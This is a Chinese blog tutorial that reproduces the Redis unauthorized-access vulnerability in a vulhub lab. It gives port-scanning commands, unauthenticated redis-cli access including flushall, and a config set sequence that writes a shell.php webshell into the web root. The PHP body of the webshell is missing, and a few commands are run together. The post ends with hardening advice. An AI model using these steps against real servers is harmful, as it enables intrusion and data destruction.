博客
关于我
Redis未授权访问漏洞
阅读量:367 次
发布时间:2019-03-05

本文共 894 字,大约阅读时间需要 2 分钟。

Redis漏洞复现

Redis概述

Redis是一款开源的数据库系统,使用ANSI C编写,支持网络访问且可存储在内存中。它支持多种数据类型,包括字符串、列表、集合、有序集合和哈希,且所有操作均为原子性。Redis默认使用6379端口,支持主从复制和持久化存储。

Redis漏洞分析

Redis的主要漏洞之一是未授权访问,这通常由配置不当引发。攻击者可能利用这个漏洞绕过身份验证,直接访问Redis服务。在某些情况下,如果Redis以root身份运行,攻击者可将SSH公钥写入文件,进而通过SSH登录并造成严重后果。

Redis漏洞复现步骤

准备阶段

  • 部署Redis环境

    使用Docker运行Redis,执行以下命令:

    cd /vulhub/redis/4-unacdocker-compose up -d
  • 端口扫描

    使用masscan扫描靶机开放的端口:

    masscan 192.168.41.139 -p 1-10000 --rate 100000

    检查发现6379端口开放,进一步使用nmap获取Redis信息:

    nmap -A -p 6379 --scripts redis-info 192.168.41.139
  • 未授权登录

  • 连接Redis

    使用Redis客户端从攻击机连接靶机:

    redis-cli -h 192.168.41.139 info

    查看Redis信息并执行操作,如keys *get keyflushalldel key

  • 获取敏感数据

    通过Redis操作获取数据库信息,例如删除所有数据或获取特定键的值。

  • 写入WebShell

  • 注入WebShell
    在指定的Web目录中写入木马代码:
    config set dir /var/www/htmlset xxx "\n\n\n
    \n\n\n"config set dbfilename shell.phpsave

    通过工具连接即可控制服务器。

  • 注意事项

    • Redis默认配置为本地访问,需检查防火墙设置防止公网访问。
    • 配置Redis时应启用认证,避免未授权访问。
    • 定期备份Redis数据并进行安全审计。

    转载地址:http://shog.baihongyu.com/

    你可能感兴趣的文章
    MySQL锁机制
    查看>>
    Java 设置PDF文档浏览偏好
    查看>>
    Go 数组&切片
    查看>>
    Go 文件操作
    查看>>
    老Python总结的字典相关知识
    查看>>
    计算机的运算方法
    查看>>
    谈谈MySQL的基数统计
    查看>>
    vue 不常见操作
    查看>>
    jQuery的事件绑定与触发 - 学习笔记
    查看>>
    Python处理接口测试的签名
    查看>>
    测试流程规范--测试报告模板
    查看>>
    Linux上TCP的几个内核参数调优
    查看>>
    解Bug之路-dubbo流量上线时的非平滑问题
    查看>>
    记一次讲故事机器人的开发-我有故事,让机器人来读
    查看>>
    从Linux源码看Socket(TCP)的listen及连接队列
    查看>>
    高德网络定位算法的演进
    查看>>
    高德算法工程一体化实践和思考
    查看>>
    重温网络编程——常识(三)
    查看>>
    判断一个数是否是2的幂
    查看>>
    js 闭包(新)
    查看>>